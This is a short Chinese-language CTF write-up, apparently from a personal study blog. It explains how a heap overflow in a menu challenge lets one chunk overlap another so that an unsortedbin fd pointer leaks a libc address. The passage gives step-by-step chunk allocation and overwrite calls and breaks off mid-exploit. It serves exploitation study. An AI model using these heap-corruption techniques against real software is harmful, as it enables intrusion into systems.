在先前的学习中,我忽视了一个非常简单的利用堆溢出来求libc地址的问题,怎么说呢,感觉还是对这块不太熟悉,

就这一道菜单题,他并没有对输入的长度做判断,因此我们可以从一个堆块溢出到另一个堆块上。

我不会的点就在于把没有释放的堆块放在已经释放的堆块内,于是我做了这道题加以查漏补缺

这个堆块控制的步骤是,首先我们要知道得利用unsortedbin 来泄露出堆的地址

  • 提前申请几个小堆块
  • 利用第一个chunk的溢出,修改第二个chunk的size,能够覆盖下一个堆块(第三个)。
  • free第二个chunk,再申请回来
  • 利用这个chunk 改大第三个chunk (free能后进unsortedbin )
  • 通过第二个chunk读第三个chunk的fd(main_arena+88的地址)

首先呢,我们先申请以下几个堆块

add(0x10)#0
add(0x10)#1
add(0x30)#2
add(0x40)#3
add(0x60)#4

其次利用第一个chunk的溢出,修改第二个chunk的size,能够覆盖下一个堆块(第三个)

edit(0,0x20,p64(0x61)*4)

修改后的索引所对应的位置并不会改变

delete(1)

add(0x50)

edit(1,0x20,p64(0x91)*4)